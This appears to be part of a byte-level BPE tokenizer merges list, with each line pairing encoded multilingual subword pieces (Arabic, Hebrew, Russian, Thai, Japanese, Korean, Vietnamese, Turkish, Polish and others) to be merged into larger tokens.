+Ġktó rego +ê· Ģ +شر Ùģ +د اÙħ +ãģĦãĤį ãģĦãĤį +ĠAl ém +Ġgör ü +Ġgörü nt +Ġgörünt ü +د س +ÑĪ ÐºÐ¸ +г ÑĢад +Ġl ạc +Ġs ữa +ãĤīãĤĮ ãģ¾ãģĻ +o Ãłi +Ñī ен +ãģĭ ãģªãģĦ +Ġп оп +Ġпоп Ñĥ +ĠпопÑĥ лÑıÑĢ +ĠاÙĦÙħ ÙĪÙĤع +rä g +ï¼ ¡ +íķ Ħ +ãĤĴè¦ĭ ãĤĭ +اÙħ ا +ĠاÙĦØŃ رب +ĠÐŁ а +Ġ׾ ×IJתר +Ġt á»ijc +×ij ׾×Ķ +ر ئÙĬس +в Ñĥ +ÙĬ دÙĬ +каз ан +Ġ׊ש×ij×ķף +h ôtel +×¢ ×ķ׳×Ķ +ب ÙĨÙĬ +×ŀ ×ķ׾ +Ġд нÑı +éĽ£ ãģĹãģĦ +вед ениÑı +Ġ×ķ ×ŀת +н апÑĢимеÑĢ +ÙĤ ابÙĦ +Ġrésult at +ĠÑĢазвиÑĤ иÑı +ر Ùij +ìłĦ 문 +ĠاÙĦÙħ زÙĬد +ĠìľĦ íķ´ìĦľ +ëĨ į +íĻ ķ +ĠThi ết +íĮ ¨ +malı dır +Ġcz ÅĤ +ĠczÅĤ owie +ĠczÅĤowie k +ĠÙĦ بÙĨ +ĠÙĦبÙĨ اÙĨ +üs ü +ãģªãĤĵ ãģł +Ġżyc ie +ĠÑħоÑĢоÑĪ Ð¾ +æĸ¹ ãģ« +ëĭ¤ ë©´ +иÑĩеÑģ каÑı +ער ×Ļ׼ +ער×Ļ׼ ת +ãģ¾ãģĽãĤĵ ãģ§ãģĹãģŁ +ĠÑģоб ой +Ġg á»Ĺ +Ġдел аÑĤÑĮ +da Äĩ +аÑĢ Ð° +róż ni +à¹Ģล ีà¹ī +à¹Ģลีà¹ī ย +à¹Ģลีà¹īย à¸ĩ +à¸Ŀ าà¸ģ +Ġت ÙĤ +ĠتÙĤ دÙĬ +ĠتÙĤدÙĬ Ùħ +หà¸Ļ ุà¹Īม +Ġmü cade +Ġmücade le +ì§Ģ 를 +ãĤ¤ ãĤ¹ +ĠØ£ ساس +jÄħce go +ĠÅŁ eh +н ÑĤеÑĢ +ÑĨи Ñİ +ï» » +ÑİÑī его +à¹Ĥà¸Ľà¸£ à¹ģ +à¹Ĥà¸Ľà¸£à¹ģ à¸ģรม +Ġmie Äĩ +ØŃÙĥÙĪÙħ Ø© +ãģ§ãģĹãģŁ ãģĮ +×Ļס ×Ķ +ãĤĤãģ® ãĤĴ +Ġ×ŀ ×IJת +สุà¸Ķ à¸Ĺà¹īาย +Ġc Å© +ÙĨ سب +ĠпÑĢ Ð¾Ñĩ +Ġд ней +ĠÑįÑĤи Ñħ +׾ ×ŀת +нÑı Ñı +Ñį к +Ġì§Ģ ëĤľ +มหา วิà¸Ĺยา +มหาวิà¸Ĺยา ล +มหาวิà¸Ĺยาล ัย +d ão +ĠMá y +ĠêµŃ ê°Ģ +à¸ļุ รี +×Ĵ ×Ļ׾ +ĠÑĤÑĭ ÑģÑı +ĠÑĤÑĭÑģÑı Ñĩ +Ùģ Ùĥ +ĠÐĺ Ñģ +è¡Į ãĤıãĤĮ +פר ×ĵ +ãģ¤ ãģį +à¸Ħร à¸Ńà¸ļ +à¸Ħรà¸Ńà¸ļ à¸Ħรัว +à¸Ĥึà¹īà¸Ļ มา +ä»ĬæĹ¥ ãģ¯ +ĠìĤ¬ëŀĮ ìĿ´ +עצ ×ŀ×Ķ +п оÑĢ +ĠK ỳ +Ġ Æ¡n +Ġth Äĥm +Ùģ Ø§ÙĤ +ãģļ ãģ« +Ġ׾ קר +Ġ׾קר ×ķ×IJ +اÙģ ÙĬØ© +Ùħ ÙİØ§ +г аÑĢ +ص ÙĦا +صÙĦا Ø© +Ġ×ŀ ×ĸ×Ķ +lı ģını +Ġ×IJ ×Ļ׳×Ķ +к ÑĢо +Ġng ươi +Ġв ним +Ġвним ание +jÄħ cy +ÙĢÙĢÙĢÙĢ ÙĢ +Ñģ Ñħод +ãģªãĤĵ ãģĭ +×ŀ ×Ļ׾ +Ġ×Ķ×IJ ×Ĺ +ãĤı ãģªãģĦ +ع سÙĥر +ĠìĦ¸ ê³Ħ +ĠÑĩ его +ĠÑģÑĢед ÑģÑĤва +ĠÐł аÑģ +ãģª ãģģ +ÙĨ Ù쨳 +ר×Ļ ×ķף +Ñģ Ñĥд +ĠìĿ¸ ê°Ħ +ĠاÙĦÙħ ÙĤبÙĦ +ÙĨ عÙħ +تÙĪ Ù쨱 +ש ×ij×¢ +ı lm +ılm Ä±ÅŁ +Ġ×ľ×ª ת +تص Ùģ +×Ķפ ×ķ×ļ +à¹ĥà¸Ļ à¸Ľà¸µ +ìĿ´ ê³ł +Ùģ ÙĪØ² +à¸ľà¸¥ à¸ĩาà¸Ļ +ĠGi áo +à¸ļà¸Ńà¸ģ วà¹Īา +Ġd Ä±ÅŁ +ĠdÄ±ÅŁ ında +ì£ ½ +Ġdzie ÅĦ +к ÑĨии +и ÑĨе +ãģ® ä¸Ģ +ع Ø´ +пÑĢ ÐµÑģÑģ +หà¸Ļ à¹Īà¸Ńย +ลัà¸ģษ à¸ĵะ +Ġpossibilit Ãł +à¹Ħà¸Ķà¹īรัà¸ļ à¸ģาร +หย ุà¸Ķ +Ġphi ên +çĶŁ ãģ¾ãĤĮ +Ø· ÙĪÙĦ +ÑĦ ин +f ür +ØŃ ÙĬاة +íĸ ĪìĬµëĭĪëĭ¤ +׼ ׳×ķת +à¸Ľà¸£à¸° ส +à¸Ľà¸£à¸°à¸ª à¸ļ +à¸Ľà¸£à¸°à¸ªà¸ļ à¸ģารà¸ĵà¹Į +ëIJĺ ìĹĪ +Ġkaż dy +Ġl uyá»ĩn +ĠоÑĢганиз аÑĨии +å°ij ãģªãģı +ÑģÑĤÑĢо ен +Ġtécn ico +×§ ×Ķ׾ +Ġ×ķ×IJ ×Ĺ +ĠعÙĦÙĬ Ùĥ +Ñī ение +Ġ×Ķ ×Ļ׾×ĵ×Ļ×Ŀ +ÙĪØ³ ائÙĦ +Ġ×ķ ×Ķת +تÙħ ÙĬز +ĠÑģ казал +Ġпол и +Ġ×Ķ×ŀ ס +ÙĦÙij Ùİ +Ùħؤس سة +Ġ×ŀ ×Ļ×ĵ +ãģ£ ãģ¡ +ĠëĦĪ ë¬´ +à¸ŀ ี +Ġt ặng +Ġt ấn +ר ש×Ŀ +Ġméd ica +Ġ×¢ ×ķ×ŀ +Ġ×¢×ķ×ŀ ×ĵ +ÑĦ оÑĢ +Ùħر Ø© +Ġvat anda +Ġvatanda ÅŁ +Ġдел о +à¸Ļ ม +ãģ¨ åIJĮãģĺ +Ùģ Ùī +Ñģ оÑĢ +Ġ×Ķס ר×ĺ +Ġép oca +ìłķ ì±ħ +ĠÑģвÑıз ан +ض رب +ĠÙĦ ÙĨا +Ġuży wa +ĠاÙĦج ÙĬØ´ +Ñİ ÑĢ +×ijס ×ķ×£ +Ġм Ñĥ +ĠмÑĥ зÑĭк +bilit é +Ġma ç +س Ùİ +ت ÙĦÙĥ +ãģ ¬ +ÙĬ ÙĦا +ÑĪ Ð»Ð° +ÙĢÙĢ ÙĢ +Ġод ной +зв ан +ĠÑģ ÑĢаз +ĠÑģÑĢаз Ñĥ +ÙĨ ظÙħ +را Ùĩ +ĠÙĦÙĩ ذا +׼ ×ķר +Ġ×Ķש ×ij×ķ×¢ +Ġ×Ķש ת +ĠQu ảng +ãĥ« ãĥ¼ +ãģĪ ãģªãģĦ +×ĺ ×IJ +Ġmi á»ģn +ĠPh áºŃt +ĠاÙĦس ÙĪÙĤ +Ä Ĥ +ĠاÙĦج Ùħع +ĠاÙĦجÙħع Ø© +ÑİÑī ей +a ÅĤem +عت ÙĤد +Ø£ ÙĦÙħ +Ñģ ке +ĠìĿ´ íķ´ +ÙĨس Ø® +è¨Ģ ãģĦ +д обав +سب ÙĤ +×¢×ķר ר +ÑĤи п +ãģĿãģĵ ãģ§ +vis ión +عÙĪØ¯ Ø© +ë¨ ¹ +×ŀ ×ĸר×Ĺ +ĠØ¥ ØŃ +Ġ׾×ij ×Ļף +Ġ׾צ ×IJת +Ġyard ı +Ġyardı mc +Ġyardımc ı +İ Z +×§ פ×Ķ +tr é +liÄŁ ini +клÑİÑĩ а +Ġüret im +Ġa yrı +ĠkiÅŁ iler +à¸Ħ à¹īà¸Ļ +à¸Ħà¹īà¸Ļ หา +ĠS á»± +Ġ׼ ס +Ġ×Ľ×¡ ×£ +ĠÑĤак иÑħ +ĠXu ân +Ġл ег +Ġлег ко +Ø«ÙĤ اÙ쨩 +ÐĿ Ðŀ +ãĤ¹ãĤ¿ ãĥĥ +ãĤ¹ãĤ¿ãĥĥ ãĥķ +åIJĪ ãģĦ +Ġ×Ķש ×Ļ×ŀ×ķש +man ız +ĠÐĴ аÑģ +g ün +ìľĦìĽIJ íļĮ +Ġwsp óln +ĠÑģв ое +í ĥģ +à¹Ģà¸Ļ ีย +ÙĪØ¨ Ø© +в Ñıз +ı dır +ëIJĺ ìĹĪëĭ¤ +ĠdeÄŁi ÅŁtir +ãĤĭ ãģĵãģ¨ãģĮ +Ġ×Ĺ×ĵ ש×Ķ +ãĤīãĤĮ ãģ¦ãģĦãĤĭ +×Ĺ×Ļ ×Ļ×ij +ĠÐļ аÑĢ +׳×Ļת ×ķ×Ĺ +Ġ×§×ĺ ף +ר ×ĸ +ÙĪ Øº +èªŃ ãģ¿ +Ġت ÙĤÙĪÙħ +ĠÙĥ اÙĦ +à¸Ŀ ึà¸ģ +Ġë°ľ ìĥĿ +ológ ico +ر اع +à¹ģà¸ģà¹ī à¹Ħà¸Ĥ +ĠÑĢабоÑĤ Ñĥ +ÙĨÙij Ùİ +à¸Ńยูà¹Ī à¸Ĺีà¹Ī +ĠاÙĦØ« اÙĨÙĬØ© +ĠNh ân +Ñħ ваÑĤ +ö ne +Ġع دة +à¹ģ สà¸ĩ +ÑĤ оп +пÑĥÑģ ка +شر اء +ĠÐļ ом +Ġפע ×ķ׾×Ķ +ìĤ¬ ìĿ´ +ìĤ¬ìĿ´ íĬ¸ +è¡Į ãģ£ãģ¦ +Ġ×Ķ ×Ķת +ĠÑģÑĤ оÑĢо +ĠÑģÑĤоÑĢо нÑĭ +در س +à¸ĭ ู +à¸ķà¹Ī ำ +ĠØ£ بÙĬ +под об +ãģ« ãģ¦ +ار تÙģØ§Ø¹ +ĠÙħ ؤ +ик ов +ge führt +มืà¸Ń à¸ĸืà¸Ń +ĠÙĦ ÙĤد +ĠØ£ÙĨ Ùij +سÙĬ طر +ãģ¾ãģļ ãģ¯ +ס ×ĵ +Ñģк олÑĮко +ãģ¿ãģŁãģĦ ãģª +×ĵר ×Ĵ +×¢ ×Ļ×ĵ +à¹ĥหà¹ī à¸ļริà¸ģาร +ĠÐĶ Ð¸ +×ij×¢ ×Ļ×ķת +Ġ×Ķ×Ĺ ×ķ +пиÑģ ÑĮ +ĠاÙĦØ® ÙĦ +б ав +Ġİ lk +ĠاÙĦØ® Ùħ +ĠاÙĦØ®Ùħ ÙĬس +ĠÙĬ ÙĤÙĪÙħ +æĻĤ ãģ® +ĠsÅĤ ow +ĠØ£ ÙĩÙħ +Ø®ÙĦ ÙĤ +ĠØ£ صبØŃ +Ġchứ a +Ġth ác +Ùģ Ø§ÙĦ +Ġch á»Ŀ +ĠاÙĦØ® ار +ĠاÙĦخار ج +ĠاÙĦخارج ÙĬØ© +Ø· ائر +Ġt Ãł +ĠtÃł u +à¸ģล à¹īà¸Ńà¸ĩ +ĠاÙĦÙħر Ø£ +ĠاÙĦÙħرأ Ø© +åħ¨ ãģı +ĠÃĸ n +çļĦ ãģ«ãģ¯ +Ġpiè ce +×Ĵ ×Ļ×ij +ĠاÙĦ ÙĪØ§ÙĤع +ä»Ĭ ãģ® +ĠاÙĦÙħ ÙĤ +cz nÄħ +Ù쨹 اÙĦ +ен ного +ĠÑĦак ÑĤ +ìĭł ì²Ń +ĠÐŀ ни +ĠاÙĦبÙĦ اد +ов иÑĩ +ëı Į +ÑĦ ÑĥнкÑĨи +Ġìĸ´ ëĬIJ +ãĥķãĤ© ãĥ¼ +d ÃŃ +ил оÑģÑĮ +Ùħ Ùī +ĠاÙĦØ£ÙħرÙĬ Ùĥ +ĠاÙĦØ£ÙħرÙĬÙĥ ÙĬØ© +×ĺ ×Ļפ×ķ׾ +íĶĦ ë¡ľê·¸ +íĶĦë¡ľê·¸ ëŀ¨ +Ġש ×ķ׳×ķת +Ø´ ÙħÙĦ +ĠпаÑĢ Ð° +Ġ×Ķ×Ĺ ×ķ×§ +ÙĪØ² ارة +ãģ¨ ãģĻãĤĭ +Ġqu ảng +ĠaÄŁ ır +ĠاÙĦÙĦ ج +ĠاÙĦÙĦج ÙĨØ© +ê¸ ´ +ĠT ân +ج ÙħÙĦ +д ол +à¹ģà¸ŀ à¸Ĺย +à¹ģà¸ŀà¸Ĺย à¹Į +Ġר×IJ ש×Ļ +Ñī ей +Ġçev re +Ġкомп лекÑģ +Ġ×ij ×ŀש×ļ +Ġalt ın +ĠØ£ عÙħاÙĦ +ĠÑģво его +ãĤĪ ãģĦ +×Ĺ׾ ×Ļ×ĺ +×ŀ׳ ×¢ +Ġר ×ij×Ķ +ĠØ£ÙĬضا Ùĭ +×ĸ ׾ +ĠاÙĦسÙĬ اسÙĬ +æĢĿ ãģĨ +קר ×§ +קרק ×¢ +ĠاÙĦÙģ Ø±ÙĬÙĤ +б иÑĤ +×§ ׳×Ķ +ĠØ¥ ÙĨÙĩ +ĠÐĴ ам +Ðł Ðŀ +ãĥĪ ãĥª +å¿ħè¦ģ ãģª +Ġch âu +ç¶ļ ãģij +Ġçöz üm +gÅĤ ow +ع ÙĤÙĦ +売 ãĤĭ +i ết +à¸Ĭิ à¹īà¸Ļ +ĠØŃÙĤ ÙĪÙĤ +Ø·ÙĦ ع +ĠÄij en +ĠÙĥ اÙ쨩 +ãģ® ãģĶ +Ġë ¬ +Ġë¬ ¼ +Ġ물 ë¡ł +Ġرس ÙĪÙĦ +з ам +зам ен +Ġkullan ıcı +×¢ ×ķ׾ +èī² ãĢħ +ÑĪи ÑĢ +Ġ׊ש +Ġwy gl +Ġwygl Äħda +ש ×Ļ×ŀ×ķש +å¿ĺ ãĤĮ +×¢ ×Ļצ×ķ×ij +ĠاÙĦس ÙĪØ±ÙĬ +å°ij ãģªãģĦ +Ġпо иÑģк +สำ à¸Ļัà¸ģà¸ĩาà¸Ļ +Ġ×ŀצ ×ĵ +Ġmü ÅŁ +ĠmÃ¼ÅŁ ter +ĠmÃ¼ÅŁter i +ĠÙħÙĨ ÙĩÙħ +à¸ķำ à¹ģ +à¸ķำà¹ģ หà¸Ļ +à¸ķำà¹ģหà¸Ļ à¹Īà¸ĩ +ÅĽ mie +Ġש ×ł×ª +Ġ×Ķ ×¤×Ļ +פר ש +×¢×ijר ×Ļת +สà¸Ļ ัà¸ļ +สà¸Ļัà¸ļ สà¸Ļุ +สà¸Ļัà¸ļสà¸Ļุ à¸Ļ +è¨Ģ ãģ£ãģ¦ +à¸ģาร à¸Īัà¸Ķ +ĠMo że +из аÑĨии +ứ t +ĠÙĪØ¨ عد +ĠdeÄŁ ild +ĠdeÄŁild ir +Ġת ×ŀ +Ġ×ŀ×ŀ ׳×ķ +話 ãĤĴ +ĠÑĨ ена +Ġth úc +×Ļ×ŀ ×ķף +ĠB áo +ãĤĴ åıĸãĤĬ +å®ī ãģĦ +Ġ×¢×ķש ×Ļ×Ŀ +èĩªåĪĨ ãģĮ +l ée +ãĤĭ ãģ®ãģ§ +иÑĢÑĥ еÑĤ +ãģ¦ ãĤĭ +ست ر +ĠاÙĦØŃ ÙĬ +×Ļ׾ ×ķת +Ġ×Ĺ ×ij +ÙĤر Ø£ +تÙħ ÙĥÙĨ +س ائÙĦ +prü f +ãģĭ ãģijãģ¦ +ĠÑģоб ÑģÑĤвенно +ĠìľĦ íķĺìŬ +׾ ×Ļ×ĺ +ãģĮ å¤ļãģı +ÙĬت Ùĩا +ç«ĭ ãģ¦ +ม à¸Ńà¸ļ +ìĭľ ìŀ¥ +оÑĢ Ð° +Ġs avaÅŁ +×ĺ×Ļ×ij ×Ļ +×ij ׳×ķ +Ùħا ذا +기 ê°Ħ +ãģªãģ© ãģ§ +Ġ×ŀ ת×Ĺ×Ļ׾ +Ġnhi á»ħ +Ġnhiá»ħ m +ка ÑĢ +каÑĢ ÑĤ +Ġ׾×Ķ ×©×ª×ŀש +׳ ×Ļ×Ĺ +اد ÙĬØ© +ราย à¸ĩาà¸Ļ +Ġprzy kÅĤad +Ñī ий +ØŃض ÙĪØ± +Ġh ôn +à Ŀ +ת ×ķצ×IJ×ķת +راب Ø· +Ġb ếp +ĠполÑĥÑĩ и +åĩºä¼ļãģĦ ç³» +à¸Ľà¸¥ à¹Īà¸Ńย +ĠاÙĦØ´ باب +اÙĩ ÙĦ +ä»Ĭ ãģ¾ãģ§ +رج ع +ãĤ¶ ãĥ¼ +ÙĤ Ùģ +ĠGro ÃŁ +ĠíļĮ ìĽIJ +اج ر +Ġ×ij×ŀ קר×Ķ +Ġseg urança +fü hl +ãģ¦ ãģĦãģı +หม à¸Ń +ĠкоÑĤоÑĢ Ð¾Ð¼ +ĠN Äĥm +ĠdÅĤ ugo +ÙħÙĨ ØŃ +ש×ķ ×ķ×Ļ +ĠØ£ÙĬ اÙħ +ส à¸łà¸²à¸ŀ +r zÄħ +شر Ùĥات +ãĤĴ èĢĥãģĪ +д аÑĢ +à¸Ľà¸£à¸° à¸Ĭุม +Ġ×ķ×IJ ×ĸ +i á»ĩn +Ġt ươi +ש ×Ļ×Ĺ +à¸Ń à¹Īà¸Ńà¸Ļ +æĽ¸ ãģĦãģ¦ +Ġng ữ +×ij×Ļ×ĺ ×Ĺ +×ij×Ļ×ĺ×Ĺ ×ķף +Ġs ẵ +Ġsẵ n +ì§Ģ ëıĦ +ĠпÑĢ ÐµÐ¿ +ĠпÑĢеп аÑĢаÑĤ +Ġна ÑĥÑĩ +ĠÃľ nivers +ĠÃľnivers ites +ĠÃľniversites i +Ġ×Ĵ×ĵ ×ķ׾×Ķ +Ġ×Ķ ×ł×ª +Ġ×Ķ×ł×ª ×ij×¢ +ãģ§ãģĤ ãģ£ãģŁ +Ġmies iÄħ +ĠmiesiÄħ c +г ÑĢам +гÑĢам м +Ġبش Ø£ÙĨ +ĠÑħ ÑĢ +×§ ×Ļ×ĵ +×§×Ļ×ĵ ×ķ×Ŀ +Ø´ Ùĥر +Ġ á»ķ +Ġá»ķ n +ãģĮãģĤ ãģ£ãģ¦ +ãģķãĤĮ ãģ¾ãģĻ +Ġ×Ĺ ×ķ×ĵ +Ġ×Ĺ×ķ×ĵ ש×Ļ×Ŀ +ÙħÙĪØ§ جÙĩ +ÙħÙĪØ§Ø¬Ùĩ Ø© +أش خاص +ب غ +à¹Ģรียà¸Ļ รูà¹ī +ãģĹãģ¦ ãģĦãģı +Ġs ạn +å¿ħ ãģļ +׳ ×Ļ×Ĵ +׳×Ļ×Ĵ ×ķ×ĵ +باÙĦ غ +׊ש×ŀ +×Ĺש×ŀ ׾ +Ġnap raw +Ġnapraw dÄĻ +Ø´Ùĩ اد +×IJ ×ķ×Ķ +×IJ×ķ×Ķ ×ij +и ÑĨÑĭ +Ġ×Ķ ×¨×Ľ×ij +ëŀ ij +Ġת ×¢ +Ġ×Ķ ×Ļש +Ġ×Ķ×Ļש ר×IJ +Ġ×Ķ×Ļשר×IJ ׾×Ļ +Ø£ ÙħÙĨ +ÑİÑī аÑı +sk ór +LER İ +Ġ×Ķ×IJ×Ĺר ×ķף +×¢ ׳ק +ĠÙĪ ÙĥÙĦ +ãģĵãģĵ ãģ§ +Ġqu án +liÄŁ in +à¸ģà¸İ หมาย +Ø· Ùħ +Ø£ جÙĩ +أجÙĩ زة +ĠEr doÄŁan +ãģ§ ãģĬ +Ġв ÑĢа +ĠвÑĢа Ñĩ +ĠPh ó +à¸Ĭั à¹Īว +à¸Ĭัà¹Īว à¹Ĥม +à¸Ĭัà¹Īวà¹Ĥม à¸ĩ +Ġph úc +×Ļפ ×ķת +×¢×Ļ ×ķף +Ġduż o +ãĥģ ãĥ¼ãĥł +ĠÙĬ Ùİ +Ġзад аÑĩ +Ġ×Ĵ×ij×ķ×Ķ ×Ķ +Ġ׼ ׼׾ +лож ен +ét at +Ġng Äĥn +èµ· ãģį +ĠTi ến +ص عب +Ġexperi ência +Ø® Ùħ +à¸ģาร à¸Ĺำà¸ĩาà¸Ļ +س ÙĬد +ĠD á»± +ĠкоÑĤоÑĢ Ð¾Ð³Ð¾ +lad ıģı +Ġkh á»ķ +Ġê³Ħ ìĨį +Ñī ик +สà¹Īวà¸Ļ à¸ķัว +з оÑĢ +ÙĨ Ùı +Ġ à¸Ķัà¸ĩ +Ġà¸Ķัà¸ĩ à¸Ļัà¹īà¸Ļ +Ġc ấu +ĠÄij á»ijc +о ÑĦ +ĠاÙĦØ£ عÙħاÙĦ +ãģªãģı ãģ¦ãĤĤ +×ķ׼ ×Ļ×Ŀ +à¹ģ à¸Ľ +ĠB ên +ãĥ¯ ãĥ³ +Ġgi ám +ĠÅŀ u +Ġd áng +ع ÙĦÙĬ +à¹Ģà¸ģ ษ +à¹Ģà¸ģษ à¸ķร +ÙĪØ¬ ب +н нÑĭе +ÙĤ ضاء +à¸Ħว à¸ļ +à¸Ħวà¸ļ à¸Ħุ +à¸Ħวà¸ļà¸Ħุ ม +ãģ¤ ãģ¤ +ĠVi á»ĩc +×ŀ×ij ×ĺ +ש×Ļת ×ķ×£ +Ġв едÑĮ +k aza +kaza ÅĤ +à¸ķำ รวà¸Ī +ãĤ¿ ãĥ« +Ġпов Ñĭ +ĠповÑĭ ÑĪен +ĠS ợ +ĠìĦ¤ ëªħ +ĠÃĩ ünkü +ìĥĿ íĻľ +Ö ¾ +ãĤĮ ãģ¦ãģĦãĤĭ +Ġ×ij ר×IJש +ר ×ķ×Ĵ +Ġо ÑĦи +ĠоÑĦи ÑĨиалÑĮн +ĠÑĥ ÑģÑĤанов +ĠÑĥÑģÑĤанов лен +ĠاÙĦÙħ صر +ĠاÙĦÙħصر ÙĬØ© +ĠÐŁÐ¾ ÑįÑĤомÑĥ +ÙĨ صÙģ +ĠÙĪØ§ÙĦ ÙĨ +Ġh Ãłi +à¸Ħ ิ +ĠApr ès +ì³ IJ +à¹Ģà¸ĭ ีย +×ĵ ×ŀ×Ķ +activ ité +à¸Ħิà¸Ķ วà¹Īา +ÑĤ ÑĢен +à¹Ģ ฮ +ãĥı ãĤ¤ +ãģĮ å¢ĹãģĪ +ен наÑı +Ġìĺ¤ ëĬĺ +ãĥ¢ ãĥ³ +Ġкон еÑĩно +ĠÙħÙĤ ابÙĦ +cl é +Ġh ü +Ġth ẳng +ìłģ ìĿ´ +ĠÐIJ лекÑģ +ĠÐIJлекÑģ ан +ĠÐIJлекÑģан дÑĢ +ãĥŀãĥ³ ãĤ·ãĥ§ãĥ³ +ãģ²ãģ¨ ãģ¤ +ãģª ãģĬ +à¹Ģà¸Īà¹īา à¸Ĥà¸Ńà¸ĩ +ëĵľ 리 +Ø´ اء +ĠsaÄŁ lık +ĠÅŁ imdi +×Ļ×IJ ׾ +تأ Ø«ÙĬر +Ø£ سب +أسب اب +ĠвÑĭполн ен +л ок +ש ×Ļ×ij×Ķ +Ġl ắm +ĠTr Æ°á»Ľc +Ġ×Ķ×¢ ׾ +리 를 +ĠÑĢ ÐµÐ¶ +ĠÑĢеж им +int é +inté gr +×Ĵ ׳×Ļ +ĠاÙĦØ´ عر +Ġmil hões +Ġpeque ño +ãĤ³ ãĥ¼ãĤ¹ +×ķ׼ ×Ĺ +à¹Ģà¸Ĭ à¹īา +شر ÙĤ +Ġh ương +รัà¸IJ à¸ļาล +à¸ģล าย +à¸ģลาย à¹Ģà¸Ľà¹ĩà¸Ļ +Ġпод Ñħод +תש ×ķ×ij×Ķ +ãģıãģª ãģ£ãģ¦ +ĠاÙĦØ£Ùħ Ùħ +ĠH á»įc +ĠwspóÅĤ pr +ĠwspóÅĤpr ac +Ñĩ Ñĥв +ÑĩÑĥв ÑģÑĤв +ÃŃst ico +à¹Ģà¸ģ าะ +ìĽ Ģ +Ġназ ад +ãĤĭ ãĤĪãģĨãģ« +ĠС Ш +ĠСШ ÐIJ +м он +ĠAs ÃŃ +×ķר ×Ĵ +полн ен +×ŀס ׾ +×ŀ×¡×ľ ×ķ׾ +à¹Ģลืà¸Ń à¸Ķ +à¹Ģริà¹Īม à¸ķà¹īà¸Ļ +ĠاÙĦØ¥ Ùħ +ĠاÙĦØ¥Ùħ ارات +צ×Ķ ×¨ +ãĥ¡ãĥª ãĥĥãĥĪ +ĠпоÑĤ ом +в из +ĠÙģ ØªØ±Ø© +å¾Į ãģ® +ÐĿ ÐIJ +×ŀס ר +ÙĬر ÙĬ +pr é +Ġte ÅŁek +ĠteÅŁek kür +Ġöd eme +د اÙĨ +ãģ¾ ãģĹãģ¦ +缮 ãģ« +ĠÑĤ еÑĩение +l ard +lard ır +à¹Ģรา à¸Īะ +ס פ×Ļ +ĠÙĪÙĥ ذÙĦÙĥ +Ġh át +Ġt á»Ļc +à¸Ħุ ย +Ġb ức +ØŃ ÙĬÙĨ +èģŀ ãģĦãģ¦ +Ùħؤ شر +ĠNh ư +Ġмен ее +ละ à¸Ħร +Ñģ ин +ĠÑĢ ÐµÐº +ĠÑĢек л +ĠÑĢекл ам +ĠÙģ ÙĩÙĪ +Ġ׾ ×ĸ +×Ļ׳ ×ķת +ĠÅŁ art +ÑģÑĤав ка +Ġíı¬ íķ¨ +ãģ«è¡Į ãģı +ï¼ Ŀ +ĠпозволÑı еÑĤ +Ġת×ķ׼ ׾×ķ +ов ал +صÙĦ Ø© +Ġ׾ש ׳×ķת +ĠÐĺ гÑĢ +ÙħÙĨتج ات +Ġsat Ä±ÅŁ +Ñģ ко +ĠاÙĦØ«ÙĦاث اء +Ġ×Ķ×ĵ×ijר ×Ļ×Ŀ +ãģĹãģ¾ ãģĹãĤĩãģĨ +بÙĤ Ùī +åĬĽ ãĤĴ +ĠÃĩ ok +ãĥģ ãĥ¥ +à¹Ģà¸Ĭ ืà¹īà¸Ń +ยุ à¸Ħ +ศา ล +Ġ×§×ķ×ĵ ×Ŀ +×ĸר ×Ļ×Ŀ +ãģ® åł´åIJĪ +ĠìķĬ ìķĺ +ãģĤãĤĬãģ¾ãģĻ ãģĮ +×IJ שר +è¡Į ãģı +ãģ» ãģĭ +æ°Ĺ ãģ«ãģªãĤĭ +й деÑĤ +íķĺìĺĢ ëĭ¤ +ستÙħر ار +ĠÐŁÑĢ Ðµ +ĠÑģ боÑĢ +ĠìķĦ 무 +ç§ģ ãĤĤ +ع ص +Ġн иÑĩ +ĠниÑĩ его +ĠпÑĢи ем +×§ ×ķ×ŀ +ĠìĪĺ ëıĦ +Ġì ¡´ +Ġì¡´ ìŀ¬ +ĠØ£ Ø«ÙĨ +ĠأثÙĨ اء +ĠÙĪØ§ÙĦ ØŃ +ãģĮ ãģ§ãģįãĤĭ +Ġת ×Ķ +Ġת×Ķ ×Ļ×Ķ +ר ף +ĠÑģвÑıз и +×Ĵ שת +Ñģп екÑĤ +ס ×ij×Ļ×ij +ס×ij×Ļ×ij ×Ķ +ĠíķĦìļĶ íķľ +ت خصص +Ġж ив +Ġжив оÑĤ +ĠMay ıs +تع ا +تعا ÙĪÙĨ +ĠعÙĨ Ùĩا +ów ki +ĠاÙĦÙģÙĦسطÙĬÙĨ ÙĬ +ãģłãģijãģ§ ãģªãģı +ìĿ¸ ì§Ģ +ĠاÙĦس ÙĪØ¯ +ĠاÙĦسÙĪØ¯ اÙĨ +إجراء ات +Ġkö tü +Ġ×Ļ ×ª×¨ +×Ĵ ×Ļש×Ķ +Ġצ ×ķר×ļ +รà¸ĸ ย +รà¸ĸย à¸Ļà¸ķà¹Į +Ñħ оÑĤ +Ðł ÐIJ +ÙĪ Ø·ÙĨ +Ġsay ısı +ס ×Ĺר +Ùħ ÙĪÙĦ +ãĤĴæĮģ ãģ£ãģ¦ +ع اÙĨ +Ġt á»Ļi +ĠвÑĭ ÑĪе +Ġt ầm +ãĥĪ ãĥ¬ +×Ļצ ×ķ +ม ุม +س ÙĪØ¯ +ìłĦ ìŀIJ +ãĤµ ãĥŃãĥ³ +ìĤ° ìĹħ +ĠоÑģнов ан +Ø® Ù쨶 +רצ ×Ķ +بÙĬ ض +×ķÖ ¹ +ס×Ļ ×Ļ×¢ +Ġש ×IJ×Ļ +ĠاÙĦÙĤر Ø¢ÙĨ +ĠТак же +×ŀש ×ŀ×¢×ķת +س ÙĩÙĦ +Ġ×Ķ ×ł×Ķ +ãĤĴ ãģĹãģ¦ãģĦãĤĭ +×Ļ ×Ļס +×Ķ ×ķ×IJ +ĠB ÃŃ +Ġмал о +ĠëͰëĿ¼ ìĦľ +Ġר ×Ĺ×ij +ãģĮ é«ĺãģĦ +ÙĪ Ø§Ø³ +ìĤ ¼ +׳ ×¢ +ãģ£ ãģ¡ãĤĥ +ĠT üm +à¸Ńีà¸ģ à¸Ķà¹īวย +ãģĹãģ¦ ãģıãģłãģķãģĦ +ÙĨØ´ اط +ãĥĹ ãĥ©ãĥ³ +али ÑģÑĮ +×ĵ ×ľ×ª +Ġwc zeÅĽ +ĠwczeÅĽ niej +ĠÑįÑĤ им +Ġthá»ĭ t +à¸ļ ัà¸į +à¸ļัà¸į à¸Ĭี +ãģļ ãģ£ãģ¨ +ÑĢ Ð¸Ð½ +Ġswo jÄħ +íķĺëĬĶ ëį° +Ġë§Įëĵ¤ 